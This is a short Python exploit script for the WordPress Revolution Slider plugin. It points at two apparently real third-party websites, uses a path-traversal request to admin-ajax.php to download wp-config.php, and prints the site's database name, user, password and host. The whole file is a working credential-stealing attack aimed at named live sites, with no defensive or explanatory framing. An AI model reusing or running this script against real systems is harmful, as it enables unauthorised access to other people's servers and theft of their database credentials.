revslider-file-downloader.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import re
import urllib.request

def handling(content):
	return content.split(", ")[1].lstrip("\\'").rstrip("\\'")

target = "http://www.flamesrestaurant.co.za"
#target = "http://www.arribashotel.com"
vull = "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"

print("[*] TARGET:", target)

try:
	data = urllib.request.urlopen(target+vull)
except:	
	print("[!] ERROR: O target não é vulnerável")
else:
	content = re.findall(r'define\((.+?)\);', str(data.read()))
	print("[+] DB_NOME:", handling(content[0]))
	print("[+] DB_USER:", handling(content[1]))
	print("[+] DB_PASS:", handling(content[2]))
	print("[+] DB_HOST:", handling(content[3]))